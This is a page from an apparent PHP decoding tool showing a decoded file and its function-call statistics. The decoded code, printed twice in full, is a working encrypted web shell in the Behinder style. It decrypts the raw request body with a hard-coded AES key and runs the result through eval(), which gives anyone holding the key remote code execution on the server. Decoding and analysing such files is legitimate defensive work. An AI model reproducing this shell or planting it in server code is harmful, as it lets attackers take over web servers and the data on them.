Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @error_reporting(0); function Decrypt($data) { $key="e45e329feb..
Decoded Output download
<?php
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b"; //32d516rebeyond
$magicNum=hexdec(substr($key,0,2))%16; //agic tail
$data=substr($data,0,strlen($data)-$magicNum); //magic tail
return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
?>
Did this file decode correctly?
Original Code
<?php
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b"; //32d516rebeyond
$magicNum=hexdec(substr($key,0,2))%16; //agic tail
$data=substr($data,0,strlen($data)-$magicNum); //magic tail
return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
?>
Function Calls
hexdec | 1 |
strlen | 1 |
substr | 2 |
Decrypt | 1 |
base64_decode | 1 |
error_reporting | 1 |
file_get_contents | 1 |
Stats
MD5 | 45b7bac14b805c32c1c2fdd6e32f6fef |
Eval Count | 0 |
Decode Time | 60 ms |